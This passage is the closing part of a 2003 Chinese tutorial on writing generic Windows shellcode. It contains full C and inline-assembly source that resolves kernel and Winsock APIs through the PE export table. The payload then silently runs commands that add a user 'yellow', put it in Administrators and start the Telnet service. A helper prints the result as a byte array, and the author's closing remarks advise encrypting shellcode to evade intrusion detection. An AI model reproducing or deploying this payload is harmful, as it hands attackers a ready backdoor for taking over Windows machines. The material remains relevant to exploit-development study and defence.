📄 通用shellcode深入剖析.txt
字号:
_emit 'W';
_emit 'i';
_emit 'n';
_emit 'E';
_emit 'x';
_emit 'e';
_emit 'c';
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET //3
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND //4
_emit 'b';
_emit 'i';
_emit 'n';
_emit 'd';
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c';
_emit 'o';
_emit 'n';
_emit 'n';
_emit 'e';
_emit 'c';
_emit 't';
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT //5
_emit 'a';
_emit 'c';
_emit 'c';
_emit 'e';
_emit 'p';
_emit 't';
_emit 0x00
LACCEPT:
pop APINAMES[ACCEPT * 4]
call LLISTEN //6
_emit 'l';
_emit 'i';
_emit 's';
_emit 't';
_emit 'e';
_emit 'n';
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND //7
_emit 's';
_emit 'e';
_emit 'n';
_emit 'd';
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV //8
_emit 'r';
_emit 'e';
_emit 'c';
_emit 'v';
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL //9
_emit 'c';
_emit 'l';
_emit 'o';
_emit 's';
_emit 'e';
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
call WSASTARTUPL //10
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'S';
_emit 't';
_emit 'a';
_emit 'r';
_emit 't';
_emit 'u';
_emit 'p';
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL //11
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'C';
_emit 'l';
_emit 'e';
_emit 'a';
_emit 'n';
_emit 'u';
_emit 'p';
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容
//填写
}
//3,装载所有需要的DLL
for(i=DLLSTART;i<=DLLEND;i++)
{
DLLS[i]=API[LOADLIBRARY](DLLNAMES[i]);
}
//4,获取所有需要的API
//4.1取得Windows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES[i]);
}
//4.2取得Windows Sockets API
for(i=WSOCKSTART;i<=WSOCKEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES[i]);
}
//5,编写ShellCode的功能实体部分
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
// __asm int 3//在Release版本中使用断点
//6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD[i],SW_HIDE);
/*
我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的
开发(比如我们可以使用WinSock自己实现一个Telnet服务端).
*/
API[EXITPROCESS](0);//使用ExitProcess来退出ShellCode以减少错误
__asm
{
/*
子程序FindApi,由我前面讲解的GetFunctionByName修改得到
入口参数:
ImageBase:DLL基址
FuncName:需要查找的引出函数名
flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点
Count:引出函数地址索引起始,通常应该把它设为0.
出口参数:
如果查找则成功Eax返回有效的函数地址,否则返回0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c //指向PE头部偏移值e_lfanew
mov eax,[eax] //取得e_lfanew值
add eax,ImageBase //指向PE header
cmp [eax],0x00004550
jne NotFound //如果ImageBase句柄有错
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase //指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax //保存函数名称指针数组的指针值
mov ecx,[IED]
mov ecx,[ecx+0x14] //根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
push ecx //使用一个小技巧,使用程序循环更简单
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen //逐个字符比较,如果相同则为找到函数,注意这里的ecx值
cld
rep cmpsb
jne FindNext //如果当前函数不是指定的函数则查找下一个
add esp,4 //如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase //获得函数地址表
shl Count,2 //根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
add eax,Count
mov eax,[eax] //获得函数地址相对偏移量
add eax,ImageBase //计算函数真实地址,并通过Eax返回给调用者
jmp Found
FindNext:
inc Count //记录函数索引
add [FunNameArray],4 //下一个函数名指针
mov eax,FunNameArray
pop ecx //恢复压入的ecx(NumberOfFunctions),进行计数循环
loop FindLoop //如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:
xor eax,eax //如果没有找到,则返回0
Found:
ret
//ShellCode结束标识符
_emit '*'
_emit '*'
}
}
void AboutMe(void)
{
printf("\t++++++++++++++++++++++++++++++++++\n");
printf("\t+ ShellCode Demo! +\n");
printf("\t+ Code by yellow +\n");
printf("\t+ Date:2003-12-21 +\n");
printf("\t+ Email:yellow@safechina.net +\n");
printf("\t+ Home Page:www.safechina.net +\n");
printf("\t++++++++++++++++++++++++++++++++++\n");
}
void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("\n\t");
printf("0x%0.2X,",*sc++);
}
printf("\n};\nTotal %d Bytes\r\n",x+1);
}
int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;
}
printsc(p);
AboutMe();
getch();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
注意我在这里我没有演示ShellCode加密技术,现在的ShellCode加密大都都xor之类的操作,基本上比较简单
,但为了逃避"入侵检测系统"的查杀还是应该使用比较好的加密方法,我想以后可能会写一些相关的技术文章吧!
Ok!已经演示了这么多,我想你的收获一定不小吧!俗话说的好"师傅领进门,修行在个人",ShellCode最关键的
技术我们已经掌握了,至于怎么去实现一个功能丰富的ShellCode就看你自己的开发技术和经验了!
--------------------------------------------------------------------------------------------------
最后
当我初学ShellCode编写技术时,对于没有能让初学者入门的ShellCode教程可以参考而感到烦恼,所以在我完成
PE和KERNEL32地址获得方法学习后,就立刻写了这篇文章,希望对广大初学者有所帮助!眼看快要到圣诞节,yellow
在这里初大家圣诞节快乐,永远开心,永远年轻!愿中国的安全技术更上一层楼!
4,参考资料.
<MSDN>
<Windows 核心编程>
<Windows 95系统程序设计大奥秘>
<Win32Asm Programming>
5,关键字:
通用ShellCode,黑客编程技术,PE引出表,KERNEL32.DLL地址,结构化异常处理,SEH,溢出,overflow,中华安全网
By yellow from www.safechina.net
2003年12月21日晚
The End.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -